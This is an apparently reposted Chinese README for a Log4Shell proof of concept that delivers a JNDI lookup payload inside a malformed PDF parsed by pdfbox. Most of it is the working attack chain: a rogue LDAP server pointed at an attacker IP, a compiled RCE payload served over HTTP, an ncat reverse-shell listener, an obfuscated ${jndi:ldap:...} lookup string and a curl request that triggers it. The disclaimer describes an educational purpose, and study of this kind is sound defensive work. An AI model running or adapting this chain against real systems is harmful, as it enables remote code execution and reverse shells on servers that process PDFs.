目录导航
该项目的目的是使用 PDF 作为交付渠道来演示带有 Log4J 漏洞的 Log4Shell 漏洞利用.
使用 PDF 作为交付渠道利用 CVE-2021-44228 – PoC
该项目的目的是使用 PDF 作为交付渠道来演示带有 Log4J 漏洞的 Log4Shell 漏洞利用。
目标是:
- 小心地制作一个包含 JNDI 查找有效负载的格式错误的 PDF 文件
- 强制
pdfbox
库记录包含 JNDI 查找负载的 ERROR/WARN 消息
免责声明
- 此 PoC 仅用于提供信息和教育目的
- 所有信息都旨在培养黑客防御态度并帮助防止黑客攻击。
设置
该存储库包含一个使用 pdfbox 库处理 PDF 文件的 Web 应用程序,它容易受到 CVE-2021-44228 的攻击
- org.apache.pdfbox:pdfbox:2.0.24(最新版本)
- org.apache.logging.log4j:log4j-core:2.14.1
- openjdk:8u181-jdk-alpine
将com.sun.jndi.ldap.object.trustURLCodebase
其设置为true
构建易受攻击的应用程序
构建 docker 容器:
docker run -p 8080:8080 --name pdfbox-server pdfbox-server
漏洞利用(Exp)
- 运行易受攻击的应用程序
docker run -p 8080:8080 --name pdfbox-server pdfbox-server

- 启动流氓 LDAP 服务器
根据您的设置相应地更改 IP
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.26.160.1:8888/#RCE"
- 编译 RCE 负载并启动用于传送负载的 HTTP 服务器
编辑RCE.java
文件并根据您的设置更改主机变量
cd exploit
javac RCE.java
python -m http.server 8888
4.启动反向 shell 侦听器
ncat -lvnp 4444
- 修改PDF
template.pdf
在任何编辑器中打开文件并更改查找表达式。因为/
是 PDF 规范中的保留字符,所以我使用了递归变量替换查找功能。
${jndi:ldap:${sys:file.separator}${sys:file.separator}172.26.160.1:1389${sys:file.separator}RCE}

6.触发漏洞利用
curl -i -s -X POST http://127.0.0.1:8080/api/parse --data-binary "@template.pdf"

项目地址
GitHub:
https://github.com/eelyvy/log4jshell-pdf
源码下载地址
①GitHub
https://github.com/eelyvy/log4jshell-pdf.zip
②云中转网盘:
https://yzzpan.com/#sharefile=ZXRwjvpp_25992
解压密码:www.ddosi.org
转载请注明出处及链接